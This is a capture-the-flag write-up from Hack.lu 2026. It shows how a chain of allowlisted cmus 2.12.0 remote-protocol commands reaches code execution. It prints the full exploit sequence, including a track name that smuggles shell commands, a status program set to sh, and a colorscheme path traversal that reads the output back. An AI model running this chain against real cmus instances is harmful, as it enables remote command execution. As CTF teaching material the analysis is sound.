$ cat writeup.md…
$ cat writeup.md…
Hack.lu 2026
Task: cmus 2.12.0 remote protocol restricted to safe commands; goal is running SUID /readflag. Solution: URL fast-path track names smuggle shell lines into pl-export status, status_display_program=sh executes the planted script, and colorscheme traversal sources the result back to the client socket.
Category: misc (logic exploitation) · Flag format: flag{...}
The challenge exposes cmus v2.12.0's remote-control protocol over TLS on port 443 (password is given in the task). TCP clients run with run_only_safe_commands = 1, which blocks every command flagged CMD_UNSAFE (bind, run, shell, source, w, win-remove, and save unless its argument is -). The goal is code execution to run the SUID-root helper /readflag, which demands exactly argc == 6 with argv[1..5] spelling please give me the flag.
version answers v2.12.0; the challenge ships the cmus 2.12.0 source.command_mode.c: only the commands above are CMD_UNSAFE; add, load, echo, set, cd, colorscheme, pl-export, pl-import, player-* remain available to remote clients.spawn() (spawn.c) double-forks, redirects the child's stdout/stderr to /dev/null, closes stdin and fds 3–29, then execvps — anything spawned cannot talk back directly, so exfiltration must go through files that cmus itself reads back into the protocol stream.parse_command() splits the line at the first space only; ;, quotes and shell metacharacters inside an argument survive verbatim.echo X echoes back. cmd_echo → info_msg → write_all(client_fd, ...). save - likewise dumps the current view's track names to the socket.set skip_track_info=true makes cache_get_ti() return dummy track infos without opening/probing files or URLs.cmus_detect_ft() returns FILE_TYPE_URL for names starting with http:// and stores the name verbatim — no stat(), no path_strip(). So add -p http://;anything here creates a track whose name is an arbitrary string, including spaces, quotes, ; and $(...).pl-export status writes one line per track — pl_env_reduce(ti->filename), an identity transform with the default empty pl_env_vars — into the file status relative to cmus's CWD (/home/ctf, the Docker WORKDIR).set status_display_program=sh arms cmus's status-display feature: on every player status change it spawns sh status <state> [file <name> ...]. sh opens the file status in its inherited CWD and executes each line as a shell command. Our line http://;PAYLOAD fails on the http:// command (stderr already goes to /dev/null) and then runs PAYLOAD.cmd_colorscheme does snprintf(filename, "%s/%s.theme", cmus_config_dir, arg) and source_file()s the result — colorscheme ../../z sources /home/ctf/z.theme. source_file feeds every line back through the normal command parser (still gated by the safe filter, but echo is safe), and info_msg writes to the client socket.passwd correct-horse-battery-staple
set skip_track_info=true
view 3
clear
add -p http://;echo "echo $(/readflag please give me the flag 2>&1)" > /home/ctf/z.theme;/readflag please give me the flag > /home/ctf/o 2>&1
pl-export status
set status_display_program=sh
player-stop
player-play
player-stop
colorscheme ../../z
Line by line:
http:// prefix only exists to bypass the stat check; the ; separates it from the real payload inside the future sh script.pl-export status writes that name as the single line of /home/ctf/status.status_display_program=sh and toggling playback (player-stop/player-play) triggers spawn(["sh", "status", ...]); sh executes the payload: the SUID /readflag runs with the required five arguments and its output is written into /home/ctf/z.theme, prefixed with echo so the theme file contains a valid cmus command.colorscheme ../../z sources /home/ctf/z.theme; the line echo <flag contents> executes and info_msg delivers the flag to the connected client socket.The payload also saves the raw /readflag output to /home/ctf/o. Then view 1, clear, load /home/ctf/o turns each line of that file into a track (the loader performs no stat while skip_track_info is set), and save - prints the track names — /home/ctf/flag{...} — to the socket.
Every individual primitive is a legitimate cmus feature; the vulnerability is the composition reachable through the "safe" allowlist: safe set configures an executable status program, safe playlist export plants a script, safe add smuggles arbitrary script lines through the URL fast path, and safe colorscheme with a traversal path feeds the result back into the protocol stream.
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar